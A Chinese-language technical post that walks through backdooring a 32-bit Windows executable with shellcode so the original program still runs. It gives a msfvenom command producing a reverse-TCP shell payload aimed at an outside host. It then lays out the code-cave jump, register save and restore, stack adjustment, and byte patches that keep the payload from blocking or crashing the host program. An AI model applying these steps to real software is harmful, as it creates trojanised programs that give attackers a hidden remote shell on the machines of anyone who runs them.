在文章Backdooring PE Files with Shellcode中介绍了一种在正常程序中注入shellcode的方式,让程序以前的逻辑照常能够正常运行,下面复现一下并解决几个小问题。
这里直接编译一个32位的HelloWorld程序为例:
#include <stdio.h>
int main()
{
puts("Hello World!");
return 0;
}编译后的exe,可以使用CFF Explorer查看相关信息。
少绕弯子,补充一下通用步骤:
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C0x004A0000call 0x00471B50,覆盖成jmp 0x004A00000x00491EF8,后面恢复程序正常逻辑的时候要用pushad和pushfd指令覆盖开头2个字节pushfd之后的ESP值,例如0x010FFDBC,以及shellcode执行结束时ESP值,例如0x010FFBB8,发现少了0x204add esp, 0x204popfd和popad指令,和push顺序相反popad之后jmp 0x00491EF8指令,跳到第7步记录位置注意三点:
通过调试将发生阻塞的操作进行nop,例如WaitForSingleObject,msf的payload需要将4e 56 46 ff替换成80 56 80 ff
原来给WaitForSingleObject传的参数是-1,会阻塞线程,想办法改成0就行,这里将dec esi操作nop掉了,push esi就是0

应该是检查服务端失联的情况下直接终止程序了,通过调试找到终止位置nop掉即可

除了参考文章中提到的通过文件偏移计算,还可以直接利用x32dbg的内存布局直接查看

省略。。。